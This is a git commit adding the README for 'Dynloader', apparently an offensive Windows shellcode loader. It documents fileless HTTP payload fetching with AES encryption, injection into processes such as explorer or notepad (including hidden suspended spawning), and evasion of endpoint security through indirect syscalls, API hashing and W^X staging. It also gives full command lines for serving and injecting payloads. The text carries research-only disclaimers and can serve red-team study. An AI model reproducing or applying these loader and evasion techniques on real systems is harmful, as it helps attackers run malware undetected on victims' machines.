Initial Commit: Added README.md

This commit is contained in:
AbishekPonmudi
2026-07-09 09:51:26 -07:00
commit 9af54e9d0f
+284
View File
@@ -0,0 +1,284 @@
# Dynloader
**Modular Windows shellcode loader — C++20**
---
## Overview
**Dynloader** is a research-oriented Windows loader for studying how shellcode is delivered, staged, and executed in both **local** and **remote** process contexts.
It can:
- Load shellcode from a local `.bin` file
- Fetch shellcode **filelessly** over HTTP (optional AES-256-CBC at runtime)
- Inject into a target by **PID** or **process name**
- Spawn a missing process **headless** (suspended + hidden), inject, then resume
Core evasion and resolution primitives are provided by **[Dynveil](https://github.com/Abishekponmudi/dynveil)** (`lib/`) — a reusable library that implements PEB/PE parsing, API hashing, Tartarus Gate indirect syscalls, section mapping, AES crypto, and HTTP transport. Dynloader is the CLI + ingestion orchestration layer on top of Dynveil.
---
## Disclaimer
This project is **for educational and research purposes only**.
It is designed to help understand:
- Windows PE internals
- Manual loading techniques
- Reverse engineering concepts
Do **not** use this software on systems you do not own or do not have explicit permission to test. The authors take no responsibility for misuse.
---
## Features
- **Manual PE mapping / parsing** — PEB + LDR walk and export (EAT) resolution without normal `GetProcAddress` name strings
- **Indirect syscalls via Tartarus Gate** — SSN extraction with **Hells Gate / Halos Gate / HellHell** style recovery when stubs look hooked; invoke via ntdll `syscall; ret` gadget
- **Section mapping** — `NtCreateSection` + `NtMapViewOfSection` / unmap as alternate staging path
- **Dynamic API resolution** — resolve modules and exports at runtime through Dynveil
- **API hashing** — djb2 hashes; no plaintext API names for resolved exports
- **AES-256-CBC** — encrypt offline; decrypt at runtime (file or fileless key fetch)
- **Local & remote ingestion** — self-process run or inject into another process
- **Fileless HTTP server/client** — serve and pull payload + optional key material
---
## Evasion techniques
| Technique | Feature |
|-----------|---------|
| **Manual PE Mapping** | Manual module + export resolution without `GetProcAddress` strings |
| **Indirect syscall via Tartarus Gate (Hell's, Halo's, HellHell)** | Indirect syscalls via ntdll `syscall; ret` gadget (bypasses usermode hooks on `Nt*` prologues). Halos Gate recovers SSNs when ntdll stubs are hooked |
| **API hashing** | Resolves exports by djb2 hash — no plaintext API names in the binary |
| **Section mapping** | `NtCreateSection` + `NtMapViewOfSection` as alternate staging backend |
| **Minimal IAT** | NT path via syscalls; Win32 only where needed (`CreateThread` / `CreateRemoteThread`, hashed) |
| **W^X staging** | `NtAllocateVirtualMemory` RW → write → `NtProtectVirtualMemory` RX (no RWX) |
| **Payload encryption AES-256-CBC** | Encrypted payload + dynamic key fetch (fileless) |
| **Fileless HTTP** | No payload file on disk at runtime — fetch from `/api/v1/payload` |
| **Headless spawn** | Target process started suspended + hidden before remote inject |
---
## Background — Dynveil
**[Dynveil](https://github.com/Abishekponmudi/dynveil)** is the shared research library under `lib/`. Dynloader does **not** reimplement every technique inline; it calls Dynveil modules for the heavy lifting.
**Repo:** https://github.com/Abishekponmudi/dynveil
What Dynveil provides:
- **Manual PE parser** — walk PEB → LDR lists, locate modules, walk the export address table
- **Dynamic API resolver** — hash-based export resolve (`kernel32`, `ntdll`, `bcrypt`, `ws2_32`, …)
- **Tartarus Gate** — SSN resolve (Hells / Halos / HellHell-style paths), build per-API **stubs**, jump to a shared ntdll **`syscall; ret` gadget**
- **Section map helpers** — create section, map view, protect, unmap, cleanup
- **Crypto** — AES-256-CBC key material, encrypt/decrypt, pack/unpack key blobs
- **HTTP transport** — minimal fileless client + in-memory server for lab delivery
Dynloaders job on top of Dynveil:
- Parse CLI modes (local, remote, fileless, server, encrypt)
- Acquire shellcode (disk or network)
- Decide **local vs remote** ingestion
- Stage memory (W^X / section) and execute
- For remote: resolve PID/name, open process, optional headless spawn, inject
| Dynveil area | Path | Role |
|--------------|------|------|
| PE / PEB | `lib/pe/` | Manual PEB + LDR + EAT |
| API resolve | `lib/resolve/` | Dynamic hash-based APIs |
| Syscalls | `lib/syscall/` | Tartarus Gate indirect Nt\* |
| Memory | `lib/memory/` | Section map / staging helpers |
| Crypto | `lib/crypto/` | AES-256-CBC |
| Net | `lib/net/` | Fileless HTTP |
| Common | `lib/common/` | Hashes, logging, NT types |
---
## How it works
1. **Parse CLI** — mode: local / remote (`--process`) / fileless / server / encrypt / self-test.
2. **Init Dynveil syscalls** — Tartarus Gate builds SSNs + indirect stubs (shared ntdll gadget).
3. **Get shellcode**
- **Disk:** read `.bin` (or ciphertext if decrypt path applies)
- **Fileless:** `GET /api/v1/payload` and, if AES, `GET /api/v1/key` then decrypt at runtime
4. **Choose ingestion**
- **`--process` set → remote**
- **else → local**
5. **Local path**
- Stage in current process with indirect Nt\* (prefer alloc RW → write → protect RX; section map fallback)
- Execute with hash-resolved `CreateThread`, wait for exit
6. **Remote path**
- Target by **PID** or **process name** (works with many normal user-session binaries; no `SeDebugPrivilege` elevation assumed)
- Discover by name via **`NtQuerySystemInformation`** (SystemProcessInformation) over Tartarus Gate
- If name not running → **headless spawn** (`CREATE_SUSPENDED` + no window), inject, **ResumeThread**
- Open process: prefer **`NtOpenProcess`**, fallback hashed **`OpenProcess`**
- Stage: `NtAllocateVirtualMemory``NtWriteVirtualMemory``NtProtectVirtualMemory` (RX)
- Run: hash-resolved **`CreateRemoteThread`**
7. **Done** — local thread completes or remote thread is created; handles cleaned up.
Same staging/execution ideas apply whether bytes came from disk or from the fileless server.
---
## Building
> Build steps TBD (Visual Studio / MSVC x64 C++20).
Reference pipeline after a successful build:
1. Parse CLI (local / remote / fileless / server / encrypt)
2. Init Tartarus Gate (SSNs + indirect stubs)
3. Get shellcode
- disk file, or
- HTTP `GET /api/v1/payload` (+ `/api/v1/key` if AES)
4. If `--process` → remote ingestion (PID / name / headless spawn)
Else → local ingestion
5. Stage memory (indirect Nt\*, W^X)
6. Execute (`CreateThread` / `CreateRemoteThread`)
---
## Usage
```text
LOCAL
loader.exe <file.bin> [--verbose]
loader.exe --process <name|PID> <file.bin> [--verbose]
loader.exe --enc AES <file.bin> [--verbose]
FILELESS
loader.exe --fileless --source <host[:port]> [--verbose]
loader.exe --fileless --source <host> --enc AES [--verbose]
loader.exe --fileless --source <host> --process <name|PID> [--enc AES] [--verbose]
SERVER
loader.exe --server <file.bin> [--port 8080] [--verbose]
loader.exe --server --enc AES <file.bin> [--port 8080] [--verbose]
```
### HTTP endpoints (server)
| Path | Purpose |
|------|---------|
| `GET /api/v1/payload` | Shellcode (plain or ciphertext) |
| `GET /api/v1/key` | AES key material (when encrypted) |
| `GET /api/v1/health` | Health check |
---
## Demo
### 1) Self-test
```bat
loader.exe --selftest --verbose
```
Checks PEB resolve, Tartarus init path, and AES roundtrip.
### 2) Local shellcode
```bat
loader.exe payload.bin --verbose
```
### 3) Remote by process name
```bat
loader.exe --process notepad payload.bin --verbose
```
If `notepad` is not running, Dynloader spawns it headless, injects, resumes.
- Target by **PID** or **process name** (e.g. `notepad` / `1234`) — supports many legitimate binaries in the same session without elevation (`!SeDebugPrivilege` not required for same-integrity targets)
- Process discovery via **`NtQuerySystemInformation`** (SystemProcessInformation) over Tartarus Gate
- If the named process is **not running** → spawn **headless** (`CREATE_SUSPENDED` + no window), inject, then resume
- Remote stage: `NtAllocateVirtualMemory``NtWriteVirtualMemory``NtProtectVirtualMemory` (RX)
- Remote run: hash-resolved `CreateRemoteThread`
- Open target prefers `NtOpenProcess`, falls back to hashed `OpenProcess`
### 4) Remote by PID
```bat
loader.exe --process 4568 payload.bin --verbose
```
### 5) Encrypt + serve + fileless client
**Terminal A — server** (host shellcode remotely):
```bat
loader.exe --server --enc AES payload.bin --port 8080 --verbose
```
**Terminal B — client** (target machine, local run):
```bat
loader.exe --fileless --source 127.0.0.1:8080 --enc AES --verbose
```
**Terminal B — client** (target machine, remote inject):
```bat
loader.exe --fileless --source 127.0.0.1:8080 --enc AES --process explorer --verbose
```
### 6) Offline encrypt only
```bat
loader.exe --enc AES payload.bin --verbose
```
Writes `.enc` + `.key` next to the input for lab packaging.
---
## Planned features
- **Manual PE loader** — full PE / DLL support alongside shellcode (`.bin`)
- **Manual DLL loader / remote DLL ingestion** — map and run DLLs in local or remote processes without relying only on raw shellcode blobs
- **Threadless execution** — move off classic thread APIs toward [thread pool](https://oioio-space.github.io/maldev/techniques/injection/thread-pool.html) based execution
- **Full section mapping** — prefer section-based staging over native thread-centric paths where possible
- **Section storming** — multi-section staging patterns for research labs
- **HTTPS encrypted channel** — harden fileless delivery from plain HTTP to HTTPS
---
## Project layout
```text
.
├── loader/ # Dynloader — CLI, modes, local/remote ingestion
│ ├── main.cpp
│ ├── cli.cpp / cli.hpp
│ ├── loader_core.cpp / loader_core.hpp
│ └── ingestion.cpp / ingestion.hpp
├── lib/ # Dynveil — https://github.com/Abishekponmudi/dynveil
│ ├── common/ # hashes, logging, NT types
│ ├── pe/ # PEB / PE / EAT parser
│ ├── resolve/ # dynamic API resolution
│ ├── syscall/ # Tartarus Gate indirect syscalls
│ ├── memory/ # section map + staging helpers
│ ├── crypto/ # AES-256-CBC
│ └── net/ # fileless HTTP client/server
├── tools/ # helpers (e.g. hash dump)
├── server.sh # optional server helper script
└── README.md
```
---
## Notes
- Indirect syscalls cover Dynveils **Nt\*** table (memory, open, process enum, sections) — not every Win32 call.
- Local execute uses hashed `CreateThread`; remote uses hashed `CreateRemoteThread`.
- Fileless transport is plain HTTP today (lab-oriented); HTTPS is planned.
---
## License / ethics
Research & education only. Use on lab VMs you control. Stay legal.